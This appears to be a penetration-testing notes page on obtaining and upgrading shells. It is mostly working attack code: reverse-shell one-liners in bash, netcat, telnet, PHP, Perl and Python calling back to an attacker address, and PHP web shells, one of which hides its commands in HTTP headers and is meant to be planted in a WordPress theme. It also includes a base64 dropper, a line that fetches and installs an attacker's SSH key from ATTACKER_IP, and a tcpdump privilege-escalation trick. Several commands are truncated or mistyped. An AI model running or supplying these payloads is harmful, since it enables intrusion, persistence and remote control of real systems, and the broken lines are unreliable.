Shells

> I like using port 443 as its generally open on firewalls for HTTPS traffic. Sometimes servers and firewalls block non standard ports like 4444 or 1337

> If connections drops or can not be established, try different ports 80,443,8080...

terminal = tty = text input/output environment
console = physical terminal
shell = command line interpreter
https://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-con

```
ssh user@$ip nc $localip 4444 -e /bin/sh
enter user's password

export TERM=linux
python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK
echo os.system('/bin/bash')
/bin/sh -i
exec "/bin/sh";
perl —e 'exec "/bin/sh";'
```

go into /bin/ and see what binaries are in there.

```
/bin/csh -i # worked for BSD
```

From within tcpdump

```
echo $'id\n/bin/netcat $ip 443 -e /bin/bash' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -I eth- -w /dev/null -W 1 -G 1 -z /tmp/.tst -Z root
```

```
:!bash
:set shell=/bin/bash:shell
!bash
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;
awk 'BEGIN {system("/bin/bash")}'
--interactive
echo "os.execute('/bin/sh')"
sudo nmap --script=exploit.nse
perl -e 'exec "/bin/bash";'
```

Add public key to authorized keys:

```
echo $(wget https://ATTACKER_IP/.ssh/id_rsa.pub) >> ~/.ssh/authotized_keys
```

Python TTY shells

```
https://github.com/infodox/python-pty-shells
```

lppsec using tool

Upgrading to fully interactive

```
Terminator Custom Commands

name: Upgrade TTY Python
Command: python -c "import pty;pty.spawn('/bin/bash')"

name: Fix TTY 1
command: printf "\n\n(Rows,Cols)\n ";printf '\e[1;91m%-6s\e[m' $(stty size);print

name: Fix TTY 2
command: export SHELL=bash;export TERM=xterm-256color;stty rows 20 columns 100;\e

once you get a reverse shell
1. right click > custom commands > Upgrade TTY Python
2. Press Ctrl+z to background
3. right click > custom commands > Fix TTY 1
4. right click > custom commands > Fix TTY 2
5. enter the row and col values when prompted (should still be on screen from ste
```

```
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
```

```
export TERM=xterm
export SHELL=bash
```

PHP

Webshell

> Web shells are hard to detect

This command will run system commands on the underlying system and return the complete output as a string

> https://guide.offsecnewbie.com/web#php-ini

```
root@kali  ~/pwk/exercises/rfi  nc -nv $ip 80
(UNKNOWN) [[redacted]] 80 (http) open
<?php echo shell_exec($_GET['cmd']); ?>

HTTP/1.1 400 Bad Request
Date: Tue, 29 Jan 2019 23:13:06 GMT
```

use nc to connect to server - the connect will be logged

> if a reverse shell is not returning back to you try a diff shell maybe python. run 'which python' to see if python is available

```
# Execute one command
<?php system("whoami"); ?>

# Take input from the url paramter. shell.php?cmd=whoami
<?php system($_GET['cmd']); ?>

# The same but using passthru
<?php passthru($_GET['cmd']); ?>

# For shell_exec to output the result you need to echo it
<?php echo shell_exec("whoami");?>
```

```
# Instead to this if you can. It will return the output as an array, and then pri
<?php exec("ls -la",$array); print_r($array); ?>

# preg_replace(). This is a cool trick
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

# Using backticks
<?php $output = `whoami`; echo "<pre>$output</pre>"; ?>

# Using backticks
<?php echo `whoami`; ?>
```

Then you can execute the commands like this

```
http://victim/index.php?cmd=pwd
```

Make the commands from above a bit more stealthy. Instead of passing the cmds through the url, which will be obvious in logs, pass them through other header-parameters. The use tamper data or burpsuite to insert the commands. Or just netcat or curl.

```
<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
<?php system($_SERVER['HTTP_USER_AGENT'])?>
```

Accept-Language	en-US,en;q=0.5
Accept-Encoding	gzip, deflate
Cookie	wordpress_test_cookie=WP+Cookie+check
Connection	close
Upgrade-Insecure-Requests	1
Content-Length	43

```
<?php system($_SERVER['HTTP_USER_AGENT'])?>
```

```
<?php system($_SERVER['HTTP_USER_AGENT'])?>
```

add it to index page of a wordpress theme

```
http://$ip/webshell.php?cmd=id
```

You can use this to move from web shell to a command line shell

```
http://$ip/webshell.php?cmd=nc $kali $port -e /bin/sh
```

```
<?php

header('Content-type: text/plain');
$ip   = "1.2.3.4; //change this
$port = "1234"; //change this
$payload = "7Vh5VFPntj9JDklIQgaZogY5aBSsiExVRNCEWQlCGQQVSQIJGMmAyQlDtRIaQGKMjXUox
$evalCode = gzinflate(base64_decode($payload));
$evalArguments = " ".$port." ".$ip;
$tmpdir ="C:\\windows\\temp";
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
$filename = "D3fa1t_shell.exe";
$file = fopen($filename, 'wb');
fwrite($file, $evalCode);
fclose($file);
$path = $filename;
$cmd = $path.$evalArguments;
$res .= "\n\nExecuting : ".$cmd."\n";
echo $res;
$output = system($cmd);

?>
```

maybe URL encode it

get a command line shell

Kali shells

```
/usr/share/webshells/
```

Copy `php-reverse-shell.php` to working directory

```
cp /usr/share/webshells/php/php-reverse-shell.php php-reverse-shell.php
```

Best PHP reverse shell:

```
<?php
echo 'running shell';
$ip='YOUR_IP';
$port='YOUR_PORT';
$reverse_shells = array(
    '/bin/bash -i > /dev/tcp/'.$ip.'/'.$port.' 0<&1 2>&1',
    '0<&196;exec 196<>/dev/tcp/'.$ip.'/'.$port.'; /bin/sh <&196 >&196 2>&196',
    '/usr/bin/nc '.$ip.' '.$port.' -e /bin/bash',
```

```
    perl -e \'use Socket;$i="$ip";$p=$port;socket(S,PF_INET,SOCK_STREAM,
);
foreach ($reverse_shells as $reverse_shell) {
   try {echo system($reverse_shell);} catch (Exception $e) {echo $e;}
   try {shell_exec($reverse_shell);} catch (Exception $e) {echo $e;}
   try {exec($reverse_shell);} catch (Exception $e) {echo $e;}
}
system('id');
?>
```

> If a shell session closes quickly after it has been established, try to create a new shell session by executing one of the following commands on the initial shell. This will create a nested session!

```
bash
/bin/sh
/bin/sh -i
```

Using netcat

Using bash and TCP sockets

```
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1
```

Using sh and TCP sockets

```
0<&196;exec 196<>/dev/tcp/<attacker_ip>/<port>; sh <&196 >&196 2>&196
```

Using telnet

```
telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port>
```

PHP and sh

```
php -r '$sock=fsockopen("<attacker_ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Perl and sh

Perl forking:

```
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ip:port");STDIN
```

Python

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_S
```

Reverse shell with python script:

```
#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP",port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
```

Communicates over DNS

```
https://github.com/sysdream/chashell
```

Discover shell environment

Command	Output
php -v	PHP version
Python -V	Python version
Perl -v	Perl version
ls /usr/bin	Directory contents /usr/bin
uname -a	System information Linux
dir C:\”Program Files”	Directory contents Windows Program Files folder

whoami	Current user Windows
pwd	Print working directory

Reading

```
https://www.acunetix.com/blog/articles/introduction-web-shells-part-1/
```

Previous
Windows

Next
Port Forwarding / SSH Tunneling

Last updated -2

WAS THIS PAGE HELPFUL?